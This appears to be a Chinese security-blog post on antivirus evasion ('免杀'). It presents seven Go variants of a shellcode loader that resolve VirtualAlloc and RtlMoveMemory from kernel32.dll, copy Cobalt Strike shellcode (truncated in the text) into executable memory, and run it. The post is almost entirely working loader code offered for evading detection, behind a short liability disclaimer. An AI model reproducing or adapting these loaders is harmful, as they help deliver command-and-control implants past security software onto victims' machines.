【免杀】go语言调用windows api的多种方式

admin

139919
文章

114
评论

2024年7月12日16:09:04评论90 views字数 3932阅读13分6秒阅读模式

点击蓝字，关注Sec探索者，一起探索网络安全技术

请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任。如有侵权烦请告知，我们会立即删除并致歉。谢谢！

loadlibrary+GetProcAddress

立即加载dll

main.go

package mainimport (  "syscall"  "unsafe")func main() {  handle, err := syscall.LoadLibrary("kernel32.dll")  if err != nil {    return  }  VirtualAlloc, err := syscall.GetProcAddress(handle, "VirtualAlloc")  if err != nil {    return  }  RtlMoveMemory, err := syscall.GetProcAddress(handle, "RtlMoveMemory")  if err != nil {    return  }       // cs的shellcode  sc := []byte{0xfc, 0x48, 0x83,....}  addr, _, _ := syscall.SyscallN(VirtualAlloc, 0, uintptr(len(sc)), 0x1000|0x2000, 0x40)  syscall.SyscallN(RtlMoveMemory, addr, (uintptr)(unsafe.Pointer(&sc[0])), uintptr(len(sc)))  syscall.SyscallN(addr)  syscall.Close(handle)}

编译运行

【免杀】go语言调用windows api的多种方式

loadDll+findproc

这是对第一种的封装

main.go

package mainimport (  "syscall"  "unsafe")func main() {  handle, err := syscall.LoadDLL("kernel32.dll")  if err != nil {    return  }  VirtualAlloc, err := handle.FindProc("VirtualAlloc")  if err != nil {    return  }  RtlMoveMemory, err := handle.FindProc("RtlMoveMemory")  if err != nil {    return  }    // cs的shellcode  sc := []byte{0xfc, 0x48, 0x83, ...}  addr, _, _ := VirtualAlloc.Call(0, uintptr(len(sc)), 0x1000|0x2000, 0x40)  RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&sc[0])), uintptr(len(sc)))  syscall.SyscallN(addr)}

编译运行

【免杀】go语言调用windows api的多种方式

MustLoadDLL+MustFindProc

针对上面的再次进一步封装

main.go

package mainimport (  "syscall"  "unsafe")func main() {  handle := syscall.MustLoadDLL("kernel32.dll")  VirtualAlloc := handle.MustFindProc("VirtualAlloc")  RtlMoveMemory := handle.MustFindProc("RtlMoveMemory")       // cs的shellcode  sc := []byte{0xfc, 0x48, 0x83, ...}  addr, _, _ := VirtualAlloc.Call(0, uintptr(len(sc)), 0x1000|0x2000, 0x40)  RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&sc[0])), uintptr(len(sc)))  syscall.SyscallN(addr)}

编译运行

【免杀】go语言调用windows api的多种方式

NewLazyDLL+NewProc

懒加载

main.go

package mainimport (  "syscall"  "unsafe")func main() {  handle := syscall.NewLazyDLL("kernel32.dll")  VirtualAlloc := handle.NewProc("VirtualAlloc")  RtlMoveMemory := handle.NewProc("RtlMoveMemory")    // cs的shellcode  sc := []byte{0xfc, 0x48, 0x83, ...}  addr, _, _ := VirtualAlloc.Call(0, uintptr(len(sc)), 0x1000|0x2000, 0x40)  RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&sc[0])), uintptr(len(sc)))  syscall.SyscallN(addr)}

编译运行

【免杀】go语言调用windows api的多种方式

第三方包+MustLoadDLL+MustFindProc

懒加载, 第三方包只能加载Windows的dll, 而syscall可以加载so文件

立即加载

main.go

package mainimport (  "golang.org/x/sys/windows"  "syscall"  "unsafe")func main() {  handle := windows.MustLoadDLL("kernel32.dll")  VirtualAlloc := handle.MustFindProc("VirtualAlloc")  RtlMoveMemory := handle.MustFindProc("RtlMoveMemory")    // cs的shellcode  sc := []byte{0xfc, 0x48, 0x83,...}  addr, _, _ := VirtualAlloc.Call(0, uintptr(len(sc)), 0x1000|0x2000, 0x40)  RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&sc[0])), uintptr(len(sc)))  syscall.SyscallN(addr)}

编译运行

【免杀】go语言调用windows api的多种方式

第三方包+NewLazyDLL+NewProc

懒加载, 第三方包只能加载Windows的dll, 而syscall可以加载so文件

懒加载

main.go

package mainimport (  "golang.org/x/sys/windows"  "syscall"  "unsafe")func main() {  handle := windows.NewLazyDLL("kernel32.dll")  VirtualAlloc := handle.NewProc("VirtualAlloc")  RtlMoveMemory := handle.NewProc("RtlMoveMemory")    // cs的shellcode  sc := []byte{0xfc, 0x48, 0x83, ...}  addr, _, _ := VirtualAlloc.Call(0, uintptr(len(sc)), 0x1000|0x2000, 0x40)  RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&sc[0])), uintptr(len(sc)))  syscall.SyscallN(addr)}

编译运行

【免杀】go语言调用windows api的多种方式

第三方包+NewLazySystemDLL+NewProc

懒加载, NewLazySystemDLL只加载系统dll, 比NewLazyDLL快一点

main.go

package mainimport (  "golang.org/x/sys/windows"  "syscall"  "unsafe")func main() {  handle := windows.NewLazySystemDLL("kernel32.dll")  VirtualAlloc := handle.NewProc("VirtualAlloc")  RtlMoveMemory := handle.NewProc("RtlMoveMemory")    // cs的shellcode  sc := []byte{0xfc, 0x48, 0x83, ...}  addr, _, _ := VirtualAlloc.Call(0, uintptr(len(sc)), 0x1000|0x2000, 0x40)  RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&sc[0])), uintptr(len(sc)))  syscall.SyscallN(addr)}